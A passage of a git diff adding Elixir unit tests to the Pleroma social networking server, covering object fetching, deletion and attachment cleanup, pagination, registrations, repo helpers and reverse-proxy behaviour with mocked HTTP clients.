Object.prune(object) + + refute Object.get_by_ap_id(object_id) + + {:ok, %Object{} = object_two} = Fetcher.fetch_object_from_id(object_id) + + assert object.data["id"] == object_two.data["id"] + assert object.id != object_two.id + end + end + + describe "signed fetches" do + setup do: clear_config([:activitypub, :sign_object_fetches]) + + test_with_mock "it signs fetches when configured to do so", + Pleroma.Signature, + [:passthrough], + [] do + Config.put([:activitypub, :sign_object_fetches], true) + + Fetcher.fetch_object_from_id("http://mastodon.example.org/@admin/99541947525187367") + + assert called(Pleroma.Signature.sign(:_, :_)) + end + + test_with_mock "it doesn't sign fetches when not configured to do so", + Pleroma.Signature, + [:passthrough], + [] do + Config.put([:activitypub, :sign_object_fetches], false) + + Fetcher.fetch_object_from_id("http://mastodon.example.org/@admin/99541947525187367") + + refute called(Pleroma.Signature.sign(:_, :_)) + end + end +end diff --git a/test/pleroma/object_test.exs b/test/pleroma/object_test.exs new file mode 100644 index 000000000..198d3b1cf --- /dev/null +++ b/test/pleroma/object_test.exs @@ -0,0 +1,402 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.ObjectTest do + use Pleroma.DataCase + use Oban.Testing, repo: Pleroma.Repo + import ExUnit.CaptureLog + import Pleroma.Factory + import Tesla.Mock + alias Pleroma.Activity + alias Pleroma.Object + alias Pleroma.Repo + alias Pleroma.Tests.ObanHelpers + alias Pleroma.Web.CommonAPI + + setup do + mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + test "returns an object by it's AP id" do + object = insert(:note) + found_object = Object.get_by_ap_id(object.data["id"]) + + assert object == found_object + end + + describe "generic changeset" do + test "it ensures uniqueness of the id" do + object = insert(:note) + cs = Object.change(%Object{}, %{data: %{id: object.data["id"]}}) + assert cs.valid? + + {:error, _result} = Repo.insert(cs) + end + end + + describe "deletion function" do + test "deletes an object" do + object = insert(:note) + found_object = Object.get_by_ap_id(object.data["id"]) + + assert object == found_object + + Object.delete(found_object) + + found_object = Object.get_by_ap_id(object.data["id"]) + + refute object == found_object + + assert found_object.data["type"] == "Tombstone" + end + + test "ensures cache is cleared for the object" do + object = insert(:note) + cached_object = Object.get_cached_by_ap_id(object.data["id"]) + + assert object == cached_object + + Cachex.put(:web_resp_cache, URI.parse(object.data["id"]).path, "cofe") + + Object.delete(cached_object) + + {:ok, nil} = Cachex.get(:object_cache, "object:#{object.data["id"]}") + {:ok, nil} = Cachex.get(:web_resp_cache, URI.parse(object.data["id"]).path) + + cached_object = Object.get_cached_by_ap_id(object.data["id"]) + + refute object == cached_object + + assert cached_object.data["type"] == "Tombstone" + end + end + + describe "delete attachments" do + setup do: clear_config([Pleroma.Upload]) + setup do: clear_config([:instance, :cleanup_attachments]) + + test "Disabled via config" do + Pleroma.Config.put([Pleroma.Upload, :uploader], Pleroma.Uploaders.Local) + Pleroma.Config.put([:instance, :cleanup_attachments], false) + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + user = insert(:user) + + {:ok, %Object{} = attachment} = + Pleroma.Web.ActivityPub.ActivityPub.upload(file, actor: user.ap_id) + + %{data: %{"attachment" => [%{"url" => [%{"href" => href}]}]}} = + note = insert(:note, %{user: user, data: %{"attachment" => [attachment.data]}}) + + uploads_dir = Pleroma.Config.get!([Pleroma.Uploaders.Local, :uploads]) + + path = href |> Path.dirname() |> Path.basename() + + assert {:ok, ["an_image.jpg"]} == File.ls("#{uploads_dir}/#{path}") + + Object.delete(note) + + ObanHelpers.perform(all_enqueued(worker: Pleroma.Workers.AttachmentsCleanupWorker)) + + assert Object.get_by_id(note.id).data["deleted"] + refute Object.get_by_id(attachment.id) == nil + + assert {:ok, ["an_image.jpg"]} == File.ls("#{uploads_dir}/#{path}") + end + + test "in subdirectories" do + Pleroma.Config.put([Pleroma.Upload, :uploader], Pleroma.Uploaders.Local) + Pleroma.Config.put([:instance, :cleanup_attachments], true) + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + user = insert(:user) + + {:ok, %Object{} = attachment} = + Pleroma.Web.ActivityPub.ActivityPub.upload(file, actor: user.ap_id) + + %{data: %{"attachment" => [%{"url" => [%{"href" => href}]}]}} = + note = insert(:note, %{user: user, data: %{"attachment" => [attachment.data]}}) + + uploads_dir = Pleroma.Config.get!([Pleroma.Uploaders.Local, :uploads]) + + path = href |> Path.dirname() |> Path.basename() + + assert {:ok, ["an_image.jpg"]} == File.ls("#{uploads_dir}/#{path}") + + Object.delete(note) + + ObanHelpers.perform(all_enqueued(worker: Pleroma.Workers.AttachmentsCleanupWorker)) + + assert Object.get_by_id(note.id).data["deleted"] + assert Object.get_by_id(attachment.id) == nil + + assert {:ok, []} == File.ls("#{uploads_dir}/#{path}") + end + + test "with dedupe enabled" do + Pleroma.Config.put([Pleroma.Upload, :uploader], Pleroma.Uploaders.Local) + Pleroma.Config.put([Pleroma.Upload, :filters], [Pleroma.Upload.Filter.Dedupe]) + Pleroma.Config.put([:instance, :cleanup_attachments], true) + + uploads_dir = Pleroma.Config.get!([Pleroma.Uploaders.Local, :uploads]) + + File.mkdir_p!(uploads_dir) + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + user = insert(:user) + + {:ok, %Object{} = attachment} = + Pleroma.Web.ActivityPub.ActivityPub.upload(file, actor: user.ap_id) + + %{data: %{"attachment" => [%{"url" => [%{"href" => href}]}]}} = + note = insert(:note, %{user: user, data: %{"attachment" => [attachment.data]}}) + + filename = Path.basename(href) + + assert {:ok, files} = File.ls(uploads_dir) + assert filename in files + + Object.delete(note) + + ObanHelpers.perform(all_enqueued(worker: Pleroma.Workers.AttachmentsCleanupWorker)) + + assert Object.get_by_id(note.id).data["deleted"] + assert Object.get_by_id(attachment.id) == nil + assert {:ok, files} = File.ls(uploads_dir) + refute filename in files + end + + test "with objects that have legacy data.url attribute" do + Pleroma.Config.put([Pleroma.Upload, :uploader], Pleroma.Uploaders.Local) + Pleroma.Config.put([:instance, :cleanup_attachments], true) + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + user = insert(:user) + + {:ok, %Object{} = attachment} = + Pleroma.Web.ActivityPub.ActivityPub.upload(file, actor: user.ap_id) + + {:ok, %Object{}} = Object.create(%{url: "https://google.com", actor: user.ap_id}) + + %{data: %{"attachment" => [%{"url" => [%{"href" => href}]}]}} = + note = insert(:note, %{user: user, data: %{"attachment" => [attachment.data]}}) + + uploads_dir = Pleroma.Config.get!([Pleroma.Uploaders.Local, :uploads]) + + path = href |> Path.dirname() |> Path.basename() + + assert {:ok, ["an_image.jpg"]} == File.ls("#{uploads_dir}/#{path}") + + Object.delete(note) + + ObanHelpers.perform(all_enqueued(worker: Pleroma.Workers.AttachmentsCleanupWorker)) + + assert Object.get_by_id(note.id).data["deleted"] + assert Object.get_by_id(attachment.id) == nil + + assert {:ok, []} == File.ls("#{uploads_dir}/#{path}") + end + + test "With custom base_url" do + Pleroma.Config.put([Pleroma.Upload, :uploader], Pleroma.Uploaders.Local) + Pleroma.Config.put([Pleroma.Upload, :base_url], "https://sub.domain.tld/dir/") + Pleroma.Config.put([:instance, :cleanup_attachments], true) + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + user = insert(:user) + + {:ok, %Object{} = attachment} = + Pleroma.Web.ActivityPub.ActivityPub.upload(file, actor: user.ap_id) + + %{data: %{"attachment" => [%{"url" => [%{"href" => href}]}]}} = + note = insert(:note, %{user: user, data: %{"attachment" => [attachment.data]}}) + + uploads_dir = Pleroma.Config.get!([Pleroma.Uploaders.Local, :uploads]) + + path = href |> Path.dirname() |> Path.basename() + + assert {:ok, ["an_image.jpg"]} == File.ls("#{uploads_dir}/#{path}") + + Object.delete(note) + + ObanHelpers.perform(all_enqueued(worker: Pleroma.Workers.AttachmentsCleanupWorker)) + + assert Object.get_by_id(note.id).data["deleted"] + assert Object.get_by_id(attachment.id) == nil + + assert {:ok, []} == File.ls("#{uploads_dir}/#{path}") + end + end + + describe "normalizer" do + test "fetches unknown objects by default" do + %Object{} = + object = Object.normalize("http://mastodon.example.org/@admin/99541947525187367") + + assert object.data["url"] == "http://mastodon.example.org/@admin/99541947525187367" + end + + test "fetches unknown objects when fetch_remote is explicitly true" do + %Object{} = + object = Object.normalize("http://mastodon.example.org/@admin/99541947525187367", true) + + assert object.data["url"] == "http://mastodon.example.org/@admin/99541947525187367" + end + + test "does not fetch unknown objects when fetch_remote is false" do + assert is_nil( + Object.normalize("http://mastodon.example.org/@admin/99541947525187367", false) + ) + end + end + + describe "get_by_id_and_maybe_refetch" do + setup do + mock(fn + %{method: :get, url: "https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"} -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/poll_original.json")} + + env -> + apply(HttpRequestMock, :request, [env]) + end) + + mock_modified = fn resp -> + mock(fn + %{method: :get, url: "https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"} -> + resp + + env -> + apply(HttpRequestMock, :request, [env]) + end) + end + + on_exit(fn -> mock(fn env -> apply(HttpRequestMock, :request, [env]) end) end) + + [mock_modified: mock_modified] + end + + test "refetches if the time since the last refetch is greater than the interval", %{ + mock_modified: mock_modified + } do + %Object{} = + object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d") + + Object.set_cache(object) + + assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4 + assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0 + + mock_modified.(%Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/tesla_mock/poll_modified.json") + }) + + updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: -1) + object_in_cache = Object.get_cached_by_ap_id(object.data["id"]) + assert updated_object == object_in_cache + assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 8 + assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 3 + end + + test "returns the old object if refetch fails", %{mock_modified: mock_modified} do + %Object{} = + object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d") + + Object.set_cache(object) + + assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4 + assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0 + + assert capture_log(fn -> + mock_modified.(%Tesla.Env{status: 404, body: ""}) + + updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: -1) + object_in_cache = Object.get_cached_by_ap_id(object.data["id"]) + assert updated_object == object_in_cache + assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 4 + assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 0 + end) =~ + "[error] Couldn't refresh https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d" + end + + test "does not refetch if the time since the last refetch is greater than the interval", %{ + mock_modified: mock_modified + } do + %Object{} = + object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d") + + Object.set_cache(object) + + assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4 + assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0 + + mock_modified.(%Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/tesla_mock/poll_modified.json") + }) + + updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: 100) + object_in_cache = Object.get_cached_by_ap_id(object.data["id"]) + assert updated_object == object_in_cache + assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 4 + assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 0 + end + + test "preserves internal fields on refetch", %{mock_modified: mock_modified} do + %Object{} = + object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d") + + Object.set_cache(object) + + assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4 + assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0 + + user = insert(:user) + activity = Activity.get_create_by_object_ap_id(object.data["id"]) + {:ok, activity} = CommonAPI.favorite(user, activity.id) + object = Object.get_by_ap_id(activity.data["object"]) + + assert object.data["like_count"] == 1 + + mock_modified.(%Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/tesla_mock/poll_modified.json") + }) + + updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: -1) + object_in_cache = Object.get_cached_by_ap_id(object.data["id"]) + assert updated_object == object_in_cache + assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 8 + assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 3 + + assert updated_object.data["like_count"] == 1 + end + end +end diff --git a/test/pleroma/otp_version_test.exs b/test/pleroma/otp_version_test.exs new file mode 100644 index 000000000..7d2538ec8 --- /dev/null +++ b/test/pleroma/otp_version_test.exs @@ -0,0 +1,42 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.OTPVersionTest do + use ExUnit.Case, async: true + + alias Pleroma.OTPVersion + + describe "check/1" do + test "22.4" do + assert OTPVersion.get_version_from_files(["test/fixtures/warnings/otp_version/22.4"]) == + "22.4" + end + + test "22.1" do + assert OTPVersion.get_version_from_files(["test/fixtures/warnings/otp_version/22.1"]) == + "22.1" + end + + test "21.1" do + assert OTPVersion.get_version_from_files(["test/fixtures/warnings/otp_version/21.1"]) == + "21.1" + end + + test "23.0" do + assert OTPVersion.get_version_from_files(["test/fixtures/warnings/otp_version/23.0"]) == + "23.0" + end + + test "with non existance file" do + assert OTPVersion.get_version_from_files([ + "test/fixtures/warnings/otp_version/non-exising", + "test/fixtures/warnings/otp_version/22.4" + ]) == "22.4" + end + + test "empty paths" do + assert OTPVersion.get_version_from_files([]) == nil + end + end +end diff --git a/test/pleroma/pagination_test.exs b/test/pleroma/pagination_test.exs new file mode 100644 index 000000000..e526f23e8 --- /dev/null +++ b/test/pleroma/pagination_test.exs @@ -0,0 +1,92 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.PaginationTest do + use Pleroma.DataCase + + import Pleroma.Factory + + alias Pleroma.Object + alias Pleroma.Pagination + + describe "keyset" do + setup do + notes = insert_list(5, :note) + + %{notes: notes} + end + + test "paginates by min_id", %{notes: notes} do + id = Enum.at(notes, 2).id |> Integer.to_string() + + %{total: total, items: paginated} = + Pagination.fetch_paginated(Object, %{min_id: id, total: true}) + + assert length(paginated) == 2 + assert total == 5 + end + + test "paginates by since_id", %{notes: notes} do + id = Enum.at(notes, 2).id |> Integer.to_string() + + %{total: total, items: paginated} = + Pagination.fetch_paginated(Object, %{since_id: id, total: true}) + + assert length(paginated) == 2 + assert total == 5 + end + + test "paginates by max_id", %{notes: notes} do + id = Enum.at(notes, 1).id |> Integer.to_string() + + %{total: total, items: paginated} = + Pagination.fetch_paginated(Object, %{max_id: id, total: true}) + + assert length(paginated) == 1 + assert total == 5 + end + + test "paginates by min_id & limit", %{notes: notes} do + id = Enum.at(notes, 2).id |> Integer.to_string() + + paginated = Pagination.fetch_paginated(Object, %{min_id: id, limit: 1}) + + assert length(paginated) == 1 + end + + test "handles id gracefully", %{notes: notes} do + id = Enum.at(notes, 1).id |> Integer.to_string() + + paginated = + Pagination.fetch_paginated(Object, %{ + id: "9s99Hq44Cnv8PKBwWG", + max_id: id, + limit: 20, + offset: 0 + }) + + assert length(paginated) == 1 + end + end + + describe "offset" do + setup do + notes = insert_list(5, :note) + + %{notes: notes} + end + + test "paginates by limit" do + paginated = Pagination.fetch_paginated(Object, %{limit: 2}, :offset) + + assert length(paginated) == 2 + end + + test "paginates by limit & offset" do + paginated = Pagination.fetch_paginated(Object, %{limit: 2, offset: 4}, :offset) + + assert length(paginated) == 1 + end + end +end diff --git a/test/pleroma/registration_test.exs b/test/pleroma/registration_test.exs new file mode 100644 index 000000000..7db8e3664 --- /dev/null +++ b/test/pleroma/registration_test.exs @@ -0,0 +1,59 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.RegistrationTest do + use Pleroma.DataCase + + import Pleroma.Factory + + alias Pleroma.Registration + alias Pleroma.Repo + + describe "generic changeset" do + test "requires :provider, :uid" do + registration = build(:registration, provider: nil, uid: nil) + + cs = Registration.changeset(registration, %{}) + refute cs.valid? + + assert [ + provider: {"can't be blank", [validation: :required]}, + uid: {"can't be blank", [validation: :required]} + ] == cs.errors + end + + test "ensures uniqueness of [:provider, :uid]" do + registration = insert(:registration) + registration2 = build(:registration, provider: registration.provider, uid: registration.uid) + + cs = Registration.changeset(registration2, %{}) + assert cs.valid? + + assert {:error, + %Ecto.Changeset{ + errors: [ + uid: + {"has already been taken", + [constraint: :unique, constraint_name: "registrations_provider_uid_index"]} + ] + }} = Repo.insert(cs) + + # Note: multiple :uid values per [:user_id, :provider] are intentionally allowed + cs2 = Registration.changeset(registration2, %{uid: "available.uid"}) + assert cs2.valid? + assert {:ok, _} = Repo.insert(cs2) + + cs3 = Registration.changeset(registration2, %{provider: "provider2"}) + assert cs3.valid? + assert {:ok, _} = Repo.insert(cs3) + end + + test "allows `nil` :user_id (user-unbound registration)" do + registration = build(:registration, user_id: nil) + cs = Registration.changeset(registration, %{}) + assert cs.valid? + assert {:ok, _} = Repo.insert(cs) + end + end +end diff --git a/test/pleroma/repo_test.exs b/test/pleroma/repo_test.exs new file mode 100644 index 000000000..155791be2 --- /dev/null +++ b/test/pleroma/repo_test.exs @@ -0,0 +1,80 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.RepoTest do + use Pleroma.DataCase + import Pleroma.Factory + + alias Pleroma.User + + describe "find_resource/1" do + test "returns user" do + user = insert(:user) + query = from(t in User, where: t.id == ^user.id) + assert Repo.find_resource(query) == {:ok, user} + end + + test "returns not_found" do + query = from(t in User, where: t.id == ^"9gBuXNpD2NyDmmxxdw") + assert Repo.find_resource(query) == {:error, :not_found} + end + end + + describe "get_assoc/2" do + test "get assoc from preloaded data" do + user = %User{name: "Agent Smith"} + token = %Pleroma.Web.OAuth.Token{insert(:oauth_token) | user: user} + assert Repo.get_assoc(token, :user) == {:ok, user} + end + + test "get one-to-one assoc from repo" do + user = insert(:user, name: "Jimi Hendrix") + token = refresh_record(insert(:oauth_token, user: user)) + + assert Repo.get_assoc(token, :user) == {:ok, user} + end + + test "get one-to-many assoc from repo" do + user = insert(:user) + + notification = + refresh_record(insert(:notification, user: user, activity: insert(:note_activity))) + + assert Repo.get_assoc(user, :notifications) == {:ok, [notification]} + end + + test "return error if has not assoc " do + token = insert(:oauth_token, user: nil) + assert Repo.get_assoc(token, :user) == {:error, :not_found} + end + end + + describe "chunk_stream/3" do + test "fetch records one-by-one" do + users = insert_list(50, :user) + + {fetch_users, 50} = + from(t in User) + |> Repo.chunk_stream(5) + |> Enum.reduce({[], 0}, fn %User{} = user, {acc, count} -> + {acc ++ [user], count + 1} + end) + + assert users == fetch_users + end + + test "fetch records in bulk" do + users = insert_list(50, :user) + + {fetch_users, 10} = + from(t in User) + |> Repo.chunk_stream(5, :batches) + |> Enum.reduce({[], 0}, fn users, {acc, count} -> + {acc ++ users, count + 1} + end) + + assert users == fetch_users + end + end +end diff --git a/test/pleroma/reverse_proxy_test.exs b/test/pleroma/reverse_proxy_test.exs new file mode 100644 index 000000000..8df63de65 --- /dev/null +++ b/test/pleroma/reverse_proxy_test.exs @@ -0,0 +1,336 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.ReverseProxyTest do + use Pleroma.Web.ConnCase, async: true + + import ExUnit.CaptureLog + import Mox + + alias Pleroma.ReverseProxy + alias Pleroma.ReverseProxy.ClientMock + alias Plug.Conn + + setup_all do + {:ok, _} = Registry.start_link(keys: :unique, name: ClientMock) + :ok + end + + setup :verify_on_exit! + + defp user_agent_mock(user_agent, invokes) do + json = Jason.encode!(%{"user-agent": user_agent}) + + ClientMock + |> expect(:request, fn :get, url, _, _, _ -> + Registry.register(ClientMock, url, 0) + + {:ok, 200, + [ + {"content-type", "application/json"}, + {"content-length", byte_size(json) |> to_string()} + ], %{url: url}} + end) + |> expect(:stream_body, invokes, fn %{url: url} = client -> + case Registry.lookup(ClientMock, url) do + [{_, 0}] -> + Registry.update_value(ClientMock, url, &(&1 + 1)) + {:ok, json, client} + + [{_, 1}] -> + Registry.unregister(ClientMock, url) + :done + end + end) + end + + describe "reverse proxy" do + test "do not track successful request", %{conn: conn} do + user_agent_mock("hackney/1.15.1", 2) + url = "/success" + + conn = ReverseProxy.call(conn, url) + + assert conn.status == 200 + assert Cachex.get(:failed_proxy_url_cache, url) == {:ok, nil} + end + end + + describe "user-agent" do + test "don't keep", %{conn: conn} do + user_agent_mock("hackney/1.15.1", 2) + conn = ReverseProxy.call(conn, "/user-agent") + assert json_response(conn, 200) == %{"user-agent" => "hackney/1.15.1"} + end + + test "keep", %{conn: conn} do + user_agent_mock(Pleroma.Application.user_agent(), 2) + conn = ReverseProxy.call(conn, "/user-agent-keep", keep_user_agent: true) + assert json_response(conn, 200) == %{"user-agent" => Pleroma.Application.user_agent()} + end + end + + test "closed connection", %{conn: conn} do + ClientMock + |> expect(:request, fn :get, "/closed", _, _, _ -> {:ok, 200, [], %{}} end) + |> expect(:stream_body, fn _ -> {:error, :closed} end) + |> expect(:close, fn _ -> :ok end) + + conn = ReverseProxy.call(conn, "/closed") + assert conn.halted + end + + defp stream_mock(invokes, with_close? \\ false) do + ClientMock + |> expect(:request, fn :get, "/stream-bytes/" <> length, _, _, _ -> + Registry.register(ClientMock, "/stream-bytes/" <> length, 0) + + {:ok, 200, [{"content-type", "application/octet-stream"}], + %{url: "/stream-bytes/" <> length}} + end) + |> expect(:stream_body, invokes, fn %{url: "/stream-bytes/" <> length} = client -> + max = String.to_integer(length) + + case Registry.lookup(ClientMock, "/stream-bytes/" <> length) do + [{_, current}] when current < max -> + Registry.update_value( + ClientMock, + "/stream-bytes/" <> length, + &(&1 + 10) + ) + + {:ok, "0123456789", client} + + [{_, ^max}] -> + Registry.unregister(ClientMock, "/stream-bytes/" <> length) + :done + end + end) + + if with_close? do + expect(ClientMock, :close, fn _ -> :ok end) + end + end + + describe "max_body" do + test "length returns error if content-length more than option", %{conn: conn} do + user_agent_mock("hackney/1.15.1", 0) + + assert capture_log(fn -> + ReverseProxy.call(conn, "/huge-file", max_body_length: 4) + end) =~ + "[error] Elixir.Pleroma.ReverseProxy: request to \"/huge-file\" failed: :body_too_large" + + assert {:ok, true} == Cachex.get(:failed_proxy_url_cache, "/huge-file") + + assert capture_log(fn -> + ReverseProxy.call(conn, "/huge-file", max_body_length: 4) + end) == "" + end + + test "max_body_length returns error if streaming body more than that option", %{conn: conn} do + stream_mock(3, true) + + assert capture_log(fn -> + ReverseProxy.call(conn, "/stream-bytes/50", max_body_length: 30) + end) =~ + "[warn] Elixir.Pleroma.ReverseProxy request to /stream-bytes/50 failed while reading/chunking: :body_too_large" + end + end + + describe "HEAD requests" do + test "common", %{conn: conn} do + ClientMock + |> expect(:request, fn :head, "/head", _, _, _ -> + {:ok, 200, [{"content-type", "text/html; charset=utf-8"}]} + end) + + conn = ReverseProxy.call(Map.put(conn, :method, "HEAD"), "/head") + assert html_response(conn, 200) == "" + end + end + + defp error_mock(status) when is_integer(status) do + ClientMock + |> expect(:request, fn :get, "/status/" <> _, _, _, _ -> + {:error, status} + end) + end + + describe "returns error on" do + test "500", %{conn: conn} do + error_mock(500) + url = "/status/500" + + capture_log(fn -> ReverseProxy.call(conn, url) end) =~ + "[error] Elixir.Pleroma.ReverseProxy: request to /status/500 failed with HTTP status 500" + + assert Cachex.get(:failed_proxy_url_cache, url) == {:ok, true} + + {:ok, ttl} = Cachex.ttl(:failed_proxy_url_cache, url) + assert ttl <= 60_000 + end + + test "400", %{conn: conn} do + error_mock(400) + url = "/status/400" + + capture_log(fn -> ReverseProxy.call(conn, url) end) =~ + "[error] Elixir.Pleroma.ReverseProxy: request to /status/400 failed with HTTP status 400" + + assert Cachex.get(:failed_proxy_url_cache, url) == {:ok, true} + assert Cachex.ttl(:failed_proxy_url_cache, url) == {:ok, nil} + end + + test "403", %{conn: conn} do + error_mock(403) + url = "/status/403" + + capture_log(fn -> + ReverseProxy.call(conn, url, failed_request_ttl: :timer.seconds(120)) + end) =~ + "[error] Elixir.Pleroma.ReverseProxy: request to /status/403 failed with HTTP status 403" + + {:ok, ttl} = Cachex.ttl(:failed_proxy_url_cache, url) + assert ttl > 100_000 + end + + test "204", %{conn: conn} do + url = "/status/204" + expect(ClientMock, :request, fn :get, _url, _, _, _ -> {:ok, 204, [], %{}} end) + + capture_log(fn -> + conn = ReverseProxy.call(conn, url) + assert conn.resp_body == "Request failed: No Content" + assert conn.halted + end) =~ + "[error] Elixir.Pleroma.ReverseProxy: request to \"/status/204\" failed with HTTP status 204" + + assert Cachex.get(:failed_proxy_url_cache, url) == {:ok, true} + assert Cachex.ttl(:failed_proxy_url_cache, url) == {:ok, nil} + end + end + + test "streaming", %{conn: conn} do + stream_mock(21) + conn = ReverseProxy.call(conn, "/stream-bytes/200") + assert conn.state == :chunked + assert byte_size(conn.resp_body) == 200 + assert Conn.get_resp_header(conn, "content-type") == ["application/octet-stream"] + end + + defp headers_mock(_) do + ClientMock + |> expect(:request, fn :get, "/headers", headers, _, _ -> + Registry.register(ClientMock, "/headers", 0) + {:ok, 200, [{"content-type", "application/json"}], %{url: "/headers", headers: headers}} + end) + |> expect(:stream_body, 2, fn %{url: url, headers: headers} = client -> + case Registry.lookup(ClientMock, url) do + [{_, 0}] -> + Registry.update_value(ClientMock, url, &(&1 + 1)) + headers = for {k, v} <- headers, into: %{}, do: {String.capitalize(k), v} + {:ok, Jason.encode!(%{headers: headers}), client} + + [{_, 1}] -> + Registry.unregister(ClientMock, url) + :done + end + end) + + :ok + end + + describe "keep request headers" do + setup [:headers_mock] + + test "header passes", %{conn: conn} do + conn = + Conn.put_req_header( + conn, + "accept", + "text/html" + ) + |> ReverseProxy.call("/headers") + + %{"headers" => headers} = json_response(conn, 200) + assert headers["Accept"] == "text/html" + end + + test "header is filtered", %{conn: conn} do + conn = + Conn.put_req_header( + conn, + "accept-language", + "en-US" + ) + |> ReverseProxy.call("/headers") + + %{"headers" => headers} = json_response(conn, 200) + refute headers["Accept-Language"] + end + end + + test "returns 400 on non GET, HEAD requests", %{conn: conn} do + conn = ReverseProxy.call(Map.put(conn, :method, "POST"), "/ip") + assert conn.status == 400 + end + + describe "cache resp headers" do + test "add cache-control", %{conn: conn} do + ClientMock + |> expect(:request, fn :get, "/cache", _, _, _ -> + {:ok, 200, [{"ETag", "some ETag"}], %{}} + end) + |> expect(:stream_body, fn _ -> :done end) + + conn = ReverseProxy.call(conn, "/cache") + assert {"cache-control", "public, max-age=1209600"} in conn.resp_headers + end + end + + defp disposition_headers_mock(headers) do + ClientMock + |> expect(:request, fn :get, "/disposition", _, _, _ -> + Registry.register(ClientMock, "/disposition", 0) + + {:ok, 200, headers, %{url: "/disposition"}} + end) + |> expect(:stream_body, 2, fn %{url: "/disposition"} = client -> + case Registry.lookup(ClientMock, "/disposition") do + [{_, 0}] -> + Registry.update_value(ClientMock, "/disposition", &(&1 + 1)) + {:ok, "", client} + + [{_, 1}] -> + Registry.unregister(ClientMock, "/disposition") + :done + end + end) + end + + describe "response content disposition header" do + test "not atachment", %{conn: conn} do + disposition_headers_mock([ + {"content-type", "image/gif"}, + {"content-length", "0"} + ]) + + conn = ReverseProxy.call(conn, "/disposition") + + assert {"content-type", "image/gif"} in conn.resp_headers + end + + test "with content-disposition header", %{conn: conn} do + disposition_headers_mock([ + {"content-disposition", "attachment; filename=\"filename.jpg\""}, + {"content-length", "0"} + ]) + + conn = ReverseProxy.call(conn, "/disposition") + + assert {"content-disposition", "attachment; filename=\"filename.jpg\""} in conn.resp_headers + end + end +end diff --git a/test/pleroma/runtime_test.exs b/test/pleroma/runtime_test.exs new file mode 100644 index 000000000..010594fcd --- /dev/null +++ b/test/pleroma/runtime_test.exs @@ -0,0 +1,12 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.RuntimeTest do + use ExUnit.Case, async: true + + test "it loads custom runtime modules" do + assert {:module, Fixtures.Modules.RuntimeModule} == + Code.ensure_compiled(Fixtures.Modules.RuntimeModule) + end +end diff --git a/test/pleroma/safe_jsonb_set_test.exs b/test/pleroma/safe_jsonb_set_test.exs new file mode 100644 index 000000000..8b1274545 --- /dev/null +++ b/test/pleroma/safe_jsonb_set_test.exs @@ -0,0 +1,16 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.SafeJsonbSetTest do + use Pleroma.DataCase + + test "it doesn't wipe the object when asked to set the value to NULL" do + assert %{rows: [[%{"key" => "value", "test" => nil}]]} = + Ecto.Adapters.SQL.query!( + Pleroma.Repo, + "select 